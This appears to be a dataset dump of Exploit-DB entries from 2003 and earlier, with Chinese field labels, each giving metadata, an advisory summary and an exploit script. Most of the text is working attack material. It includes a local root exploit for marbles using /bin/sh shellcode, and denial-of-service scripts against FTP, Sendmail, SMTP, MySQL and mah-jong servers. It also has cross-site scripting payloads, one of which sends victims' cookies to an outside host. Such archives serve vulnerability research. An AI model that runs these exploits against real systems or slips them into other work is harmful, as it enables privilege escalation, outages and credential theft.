QLWD/code_shield huggingface dataset:
标题: marbles 1.0.1 - Local Home Environment Variable Buffer Overflow EDB-ID: 23189 CVE: 2003-0830 类型: LOCAL 平台: LINUX 发布日期: 2003-09-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8710/info

A problem in the handling of data in the Home environment variable has been reported in the marbles program. This may make it possible for a local attacker to gain elevated privileges. 

/* c-marbles.c
 *
 * PoC exploit made for advisory based uppon an local stack based overflow.
 * Vulnerable versions, maybe also prior versions:
 *
 * Marbles v1.0.5
 *
 * Tested on:  Redhat 9.0
 *
 * Advisory source: Steve Kemp
 * http://www.debian.org/security/2003/dsa-390
 *
 * ---------------------------------------------
 * coded by: demz (c-code.net) (demz@c-code.net)
 * ---------------------------------------------
 *
 */

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

        "\x31\xc0"                      // xor          eax, eax
        "\x31\xdb"                      // xor          ebx, ebx
        "\x31\xc9"                      // xor          ecx, ecx
        "\xb0\x46"                      // mov          al, 70
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\x50"                          // push         eax
        "\x68\x6e\x2f\x73\x68"          // push  long   0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // push  long   0x69622f2f
        "\x89\xe3"                      // mov          ebx, esp
        "\x50"                          // push         eax
        "\x53"                          // push         ebx
        "\x89\xe1"                      // mov          ecx, esp
        "\x99"                          // cdq
        "\xb0\x0b"                      // mov          al, 11
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\xb0\x01"                      // mov          al, 1
        "\xcd\x80";                     // int          0x80

int main()
{
        unsigned long ret = 0xbffff70c;

        char buffer[3988];
        int i=0;

        memset(buffer, 0x90, sizeof(buffer));

        for (0; i < strlen(shellcode) - 1;i++)
        buffer[2000 + i] = shellcode[i];

        buffer[3988] = (ret & 0x000000ff);
        buffer[3989] = (ret & 0x0000ff00) >> 8;
        buffer[3990] = (ret & 0x00ff0000) >> 16;
        buffer[3991] = (ret & 0xff000000) >> 24;
        buffer[3992] = 0x0;

        printf("\nMarbles v1.0.5 local exploit\n");
        printf("---------------------------------------- demz @ c-code.net --\n");

        setenv("HOME", buffer, 1);

        execl("/usr/local/bin/marbles", "marbles", NULL);
} URL: https://www.exploit-db.com/exploits/23189
标题: Plug And Play Web Server 1.0 002c - FTP Service Command Handler Buffer Overflow EDB-ID: 23166 CVE: 2003-1158 类型: DOS 平台: WINDOWS 发布日期: 2003-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/8667/info

Plug and Play Web Server FTP service has been reported prone to multiple buffer overflow issues, the issues present themselves when the affected FTP service handles FTP command arguments of excessive size.

It has been demonstrated that a remote attacker may exploit this condition to trigger a denial of service in the affected FTP server. However, due to the nature of this vulnerability, although unconfirmed, it has been conjectured that a remote attacker may leverage this vulnerability to have arbitrary code executed in the context of the vulnerable service. 

#!/usr/bin/perl
# ppftpdos.pl - Remote denial of service against Plug & Play FTP server

use Net::FTP;

$host = $ARGV[0];

$buffer = "A"x540;

if("$ARGV[0]" eq "") {
        print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");
        print("b_naamneh@hotmail.com - http://www.bsecurity.tk\n");
        print("====================================================\n");
        die("Usage : ./PPftpdos <host\/ip>\n");
} else {

        print("Connecting to $host...\n");
        my $ftp = Net::FTP->new($host) or die "Couldn't connect to
$host\n";
        print("Connected!\n");

        $username = "anonymous";
        $password = "anonymous";

        $ftp->login($username, $password)
        or die "Could not log in.\n";

        $ftp->dir($buffer);

        $ftp->quit();

        print("Success!\n");
} URL: https://www.exploit-db.com/exploits/23166
标题: Sendmail 8.9.2 - Headers Prescan Denial of Service EDB-ID: 23167 CVE: 1999-0393 类型: DOS 平台: IRIX 发布日期: 1998-12-12 漏洞利用脚本: /*
  against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2)
  (c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>

  Usage: ./against existing_user_on_victim_host victim_host
  Example: ./against nobody lamers.net

*/

#include <stdio.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <errno.h>
#include <signal.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>

#define MAXCONN 4
#define LINES   15000

struct hostent *hp;
struct sockaddr_in s;
int suck,loop,x;

int main(int argc,char* argv[]) {

  printf("against.c - another Sendmail DoS (up to 8.9.2)\n");

  if (argc-3) {
printf("Usage: %s victim_user victim_host\n",argv[0]);
exit(0);
  }

  hp=gethostbyname(argv[2]);

  if (!hp) {
perror("gethostbyname");
exit(1);
  }

  fprintf(stderr,"Doing mess: ");

  for (;loop<MAXCONN;loop++) if (!(x=fork())) {
FILE* d;
bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
s.sin_family=hp->h_addrtype;
s.sin_port=htons(25);
if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket");
if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect");
if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); }

usleep(100000);

fprintf(d,"helo tweety\n");
fprintf(d,"mail from: tweety@polbox.com\n");
fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]);
fprintf(d,"data\n");

usleep(100000);

for(loop=0;loop<LINES;loop++) {
  if (!(loop%100)) fprintf(stderr,".");
  fprintf(d,"To: x\n");
}

fprintf(d,"\n\n\nsomedata\n\n\n");

fprintf(d,".\n");

sleep(1);

fprintf(d,"quit\n");
fflush(d);

sleep(100);
shutdown(suck,2);
close(suck);
exit(0);
  }

  waitpid(x,&loop,0);

  fprintf(stderr,"ok\n");

  return 0;
} URL: https://www.exploit-db.com/exploits/23167
标题: Ipswitch Imail Server 5.0 - SMTP HELO Argument Buffer Overflow EDB-ID: 23145 CVE: 1999-0284 类型: DOS 平台: WINDOWS 发布日期: 1998-03-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8621/info

It has been reported that Ipswitch IMail server is prone to an SMTP HELO command argument buffer overflow vulnerability.

The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon.

/* 
 * MDaemon SMTP server for Windows buffer overflow exploit 
 * 
 * http://www.mdaemon.com - if you dare... 
 * 
 * Tested on MDaemon 2.71 SP1 
 * 
 * http://www.rootshell.com/ 
 * 
 * Released 3/10/98 
 * 
 * (C) 1998 Rootshell All Rights Reserved 
 * 
 * For educational use only. Distribute freely. 
 * 
 * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail 
 * connector if SP2 has NOT been installed. 
 * 
 * Danger! 
 * 
 * A malicous user could use this bug to execute arbitrary code on the 
 * remote system. 
 * 
 */ 


#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <string.h> 
#include <stdlib.h> 
#include <unistd.h> 


void main(int argc, char *argv[]) 
{ 
  struct sockaddr_in sin; 
  struct hostent *hp; 
  char *buffer; 
  int sock, i; 


  if (argc != 2) { 
    printf("usage: %s <smtp server>\n", argv[0]); 
    exit(1); 
  } 
  hp = gethostbyname(argv[1]); 
  if (hp==NULL) { 
    printf("Unknown host: %s\n",argv[1]); 
    exit(1); 
  } 
  bzero((char*) &sin, sizeof(sin)); 
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 
  sin.sin_family = hp->h_addrtype; 
  sin.sin_port = htons(25); 
  sock = socket(AF_INET, SOCK_STREAM, 0); 
  connect(sock,(struct sockaddr *) &sin, sizeof(sin)); 
  buffer = (char *)malloc(10000); 
  sprintf(buffer, "HELO "); 
  for (i = 0; i<4096; i++) 
    strcat(buffer, "x"); 
  strcat(buffer, "\r\n"); 
  write(sock, &buffer[0], strlen(buffer)); 
  close(sock); 
  free(buffer); 
} URL: https://www.exploit-db.com/exploits/23145
标题: Nokia Electronic Documentation 5.0 - Path Disclosure EDB-ID: 23147 CVE: 2003-0802 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/8624/info

Nokia Electronic Documentation (NED) is prone to a vulnerability that may enable remote attackers to list directory contents. This issue may be exploited by appending a dot (.) to a request for a NED page. Exploitation will also have the side-effect of disclosing the path to the directory.

This issue was reported for NED installations hosted on WebLogic application servers. It is not known if NED is prone to the same behavior when hosted on other servers. It should be noted that although this vulnerability has been reported to affect Nokia Electronic Documentation version 5.0, previous versions might also be affected. 

http://www.example.com/docs/NED?action=retrieve&location=. URL: https://www.exploit-db.com/exploits/23147
标题: Nokia Electronic Documentation 5.0 - Connection redirection EDB-ID: 23148 CVE: 2003-0803 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/8625/info

A vulnerability has been discovered in Nokia Electronic Documentation (NED) that may allow an attacker to redirect connections to a third party system. The problem likely occurs due to the NED server failing to sufficiently verify hosts provided within specific HTTP requests. As a result, an attacker may be capable of making a request that would cause data to be redirected to a third party system.

This may allow an attacker to interact with an otherwise inaccessible system, or potentially hide the origin of attacks launched against other targets.

http://www.example.org/docs/NED?action=retrieve&location=http://www.target.com/ URL: https://www.exploit-db.com/exploits/23148
标题: MySQL 3.23.x/4.0.x - Password Handler Buffer Overflow EDB-ID: 23138 CVE: 2003-0780 类型: DOS 平台: LINUX 发布日期: 2003-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/8590/info

MySQL server has been reported prone to a buffer overflow vulnerability when handling user passwords of excessive size.

The issue presents itself, due to a lack of sufficient bounds checking performed when processing MySQL user passwords. A password greater that 16 characters may overrun the bounds of a reserved buffer in memory and corrupt adjacent memory. An attacker with global administrative privileges on an affected MySQL server may potentially exploit this condition to have arbitrary supplied instructions executed in the context of the MySQL server.

> USE mysql;
> ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
> UPDATE User SET Password =
'123456781234567812345678123456781234567812345678123456781234567812345678
123456781234567812345678123456781234567812345678123456781234567812345678
123456781234567812345678123456781234567812345678123456781234567812345678
12345678123456781234567812345678...' WHERE User = 'abcd';
> FLUSH PRIVILEGES;

[Connection lost]

mysqld_safe/safe_mysqld log : URL: https://www.exploit-db.com/exploits/23138
标题: Nokia Electronic Documentation 5.0 - Cross-Site Scripting EDB-ID: 23149 CVE: 2003-0801 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/8626/info

Nokia Electronic Documentation (NED) has been reported prone to a cross-site scripting vulnerability. The issue has been conjectured to present itself due to a lack of sufficient sanitization performed on user supplied data.

A remote attacker may exploit this issue by enticing a target user to follow a malicious link to the affected Nokia Electronic Documentation site, which contains embedded HTML and script code. The attacker-supplied code would potentially be rendered in the user's browser when the link is followed.

It should be noted that although this vulnerability has been reported to affect Nokia Electronic Documentation version 5.0, previous versions might also be affected.


http://www.example.com/docs/<script>alert('@stake');</script> URL: https://www.exploit-db.com/exploits/23149
标题: Alt-N MDaemon Server 2.71 SP1 - SMTP HELO Argument Buffer Overflow EDB-ID: 23146 CVE: 1999-0284 类型: DOS 平台: WINDOWS 发布日期: 1999-03-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8622/info

It has been reported that Alt-N MDaemon server is prone to an SMTP HELO command argument buffer overflow vulnerability.

The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon. 

/* 
 * MDaemon SMTP server for Windows buffer overflow exploit 
 * 
 * http://www.mdaemon.com - if you dare... 
 * 
 * Tested on MDaemon 2.71 SP1 
 * 
 * http://www.rootshell.com/ 
 * 
 * Released 3/10/98 
 * 
 * (C) 1998 Rootshell All Rights Reserved 
 * 
 * For educational use only. Distribute freely. 
 * 
 * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail 
 * connector if SP2 has NOT been installed. 
 * 
 * Danger! 
 * 
 * A malicous user could use this bug to execute arbitrary code on the 
 * remote system. 
 * 
 */ 


#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <string.h> 
#include <stdlib.h> 
#include <unistd.h> 


void main(int argc, char *argv[]) 
{ 
  struct sockaddr_in sin; 
  struct hostent *hp; 
  char *buffer; 
  int sock, i; 


  if (argc != 2) { 
    printf("usage: %s <smtp server>\n", argv[0]); 
    exit(1); 
  } 
  hp = gethostbyname(argv[1]); 
  if (hp==NULL) { 
    printf("Unknown host: %s\n",argv[1]); 
    exit(1); 
  } 
  bzero((char*) &sin, sizeof(sin)); 
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 
  sin.sin_family = hp->h_addrtype; 
  sin.sin_port = htons(25); 
  sock = socket(AF_INET, SOCK_STREAM, 0); 
  connect(sock,(struct sockaddr *) &sin, sizeof(sin)); 
  buffer = (char *)malloc(10000); 
  sprintf(buffer, "HELO "); 
  for (i = 0; i<4096; i++) 
    strcat(buffer, "x"); 
  strcat(buffer, "\r\n"); 
  write(sock, &buffer[0], strlen(buffer)); 
  close(sock); 
  free(buffer); 
} URL: https://www.exploit-db.com/exploits/23146
标题: Microsoft Internet Explorer 6 - Script Execution EDB-ID: 23131 CVE: 2003-0816 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/8577/info

Multiple issues have been reported in Microsoft Internet Explorer. Though these issues have been reported by a reliable source, communication issues have presented difficulty in obtaining details surrounding the reported issues. This vulnerability entry will be updated when additional information becomes available.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21199.zip URL: https://www.exploit-db.com/exploits/23131
标题: Escapade 0.2.1 Beta Scripting Engine - 'PAGE' Cross-Site Scripting EDB-ID: 23127 CVE: 2003-0763 类型: WEBAPPS 平台: CGI 发布日期: 2003-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/8573/info

A cross-site scripting vulnerability has been reported for Escapade. The vulnerability exists due to insufficient sanitization of some user-supplied values.

An attacker could exploit this issue to execute arbitrary HTML code in the browser of a remote user who follows a malicious link. Code execution would occur in the context of the vulnerable site. It has also been reported that this issue may be exploited to disclose the installation path of the affected software. 

http://www.example.com/cgi-bin/esp?PAGE=<script>alert(document.domain)
</script> URL: https://www.exploit-db.com/exploits/23127
标题: NullSoft Winamp 2.81/2.91/3.0/3.1 - MIDI Plugin 'IN_MIDI.dll' Track Data Size Buffer Overflow (PoC) EDB-ID: 23124 CVE: 2003-0765 类型: DOS 平台: WINDOWS 发布日期: 2003-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/8567/info

Winamp MIDI plugin, IN_MIDI.DLL has been reported prone to a buffer overflow issue when handling malicious MIDI files. The issue presents itself when a malicious value is passed as the Track Data Size of a malicious MIDI file header. Although unconfirmed it has been conjectured that an attacker may exploit this condition to execute arbitrary code in the context of the user who is running the affected Winamp player. 

4 bytes MIDI Header "MThd"
4 bytes Header data size 00000006
2 bytes Format 0000
2 bytes Number of tracks 0001
2 bytes Divisions 0001
4 bytes Track Header "MTrk"
4 bytes Track data size ffffffff <--- bug
... "aaaaaaaaaaaaaaaaaaaaa..." <--- fun URL: https://www.exploit-db.com/exploits/23124
标题: Microsoft Internet Explorer 5 - XML Page Object Type Validation (MS03-040) EDB-ID: 23122 CVE: 2003-0809 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/8565/info

Internet Explorer does not properly handle object types, when rendering XML based web sites. This may result in the possibility of the execution of malicious software.

The problem occurs when Internet Explorer receives a response from the server when a malicious XML web page containing an embedded object tag is parsed. Successful exploitation of this vulnerability could allow a malicious object to be trusted and as such be installed and executed on the local system.

The Mindwarper exploit is actually reported to exploit one of the issues in BID 8577, which has not been addressed by the patches provided in MS03-040. 

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span> <xml id="oExec"> <security> <exploit> <![CDATA[ <object id="oFile" data="badnews.php"></object> ]]&gt; </exploit> </security> </xml> URL: https://www.exploit-db.com/exploits/23122
标题: FTP Desktop 3.5 - FTP 331 Server Response Buffer Overflow EDB-ID: 23118 CVE: 2003-0766 类型: DOS 平台: WINDOWS 发布日期: 2003-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/8560/info

A buffer overflow vulnerability has been reported in FTP Desktop. The vulnerability occurs when FTP Desktop is parsing 331 server responses from remote FTP servers. When FTP Desktop receives an FTP 331 response exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the affected FTP client.

Username:
---------
(FTP Desktop Sends 'USER username')
PADDING EBP EIP
331 [229xA][4xB][4xX]
(Access violation when executing 0x58585858) // 4xX

Password:
---------
(FTP Desktop Sends 'PASS password')
PADDING EBP EIP
331 [229xA][4xB][4xX]
(Access violation when executing 0x58585858) // 4xX URL: https://www.exploit-db.com/exploits/23118
标题: ICQ 2003 - Webfront Guestbook Cross-Site Scripting EDB-ID: 23120 CVE: 2003-0769 类型: WEBAPPS 平台: ASP 发布日期: 2003-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/8563/info

It has been reported that ICQ Webfront is prone to a cross-site scripting vulnerability in the message field of the guestbook module. This issue is caused by improper sanitization of user-supplied data.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials from a user. Other attacks are possible as well.

<object style="display:none" data="http://www.example.com/bad.asp"></object>
<SCRIPT>location.href="http://www.example.com/xss.cgi?ref="+document.URL+"cookie="+document.cookie;</script>
<iframe src="http://www.example.com"></iframe> URL: https://www.exploit-db.com/exploits/23120
标题: FTP Desktop 3.5 - Banner Parsing Buffer Overflow EDB-ID: 23117 CVE: 2003-0766 类型: DOS 平台: WINDOWS 发布日期: 2003-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/8559/info

A buffer overflow vulnerability has been reported in FTP Desktop. The vulnerability occurs when FTP Desktop is parsing 'Welcome' banner 220 messages from remote FTP servers. When FTP Desktop receives an FTP banner exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the affected FTP client. 

(FTP Desktop connected...)
PADDING EBP EIP
220 [229xA][4xB][4xX]
(Access violation when executing 0x58585858) // 4xX URL: https://www.exploit-db.com/exploits/23117
标题: IBM DB2 db2dart - Buffer Overflow EDB-ID: 23112 CVE: 2003-0758 类型: DOS 平台: LINUX 发布日期: 2003-09-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/8552/info

It has been reported that the IBM DB2 db2dart utility is prone to locally exploitable buffer overflow vulnerability. A local attacker, who can authenticate or has access as the db2as user, may exploit this issue to execute arbitrary instructions with elevated privileges. Specifically, user 'root' privileges.

Although this vulnerability has been reported to affect IBM DB2 v7.2 for Linux x86/s390 Other IBM DB2 versions and target platforms may also be affected. 

/home/db2as/sqllib/adm/db2dart `perl -e 'print "A"x1287'` URL: https://www.exploit-db.com/exploits/23112
标题: Mah-Jong 1.4/1.6 - Server Remote Denial of Service EDB-ID: 23116 CVE: 2003-0706 类型: DOS 平台: LINUX 发布日期: 2003-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8558/info

A remote denial of service vulnerability has been reported to affect the mah-jong game server. The issue has been reported to be exploitable so that a remote attacker may trigger a tight loop in the affected mah-jong server. This will cause the game server to be unresponsive to further commands, effectively denying service to legitimate users. 

#!/usr/bin/perl -s
use IO::Socket;
# test it in slackware 9.0
# DOS-test--mj1.6--code by jsk
# mahJong 1.6, all versions of mahjong
if(!$ARGV[0] || !$ARGV[1])
 { print "usage: ./dosmj.pl <host> <port>\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$jsk ="Connect 1034 0";
$socket = new IO::Socket::INET (
 Proto => "tcp",
 PeerAddr => $host,
 PeerPort => $port);

die "unable to connect to $host:$port ($!)\n" unless $socket;
print $socket "Connect 1034 0";
print $socket "\r\n";
close($socket); URL: https://www.exploit-db.com/exploits/23116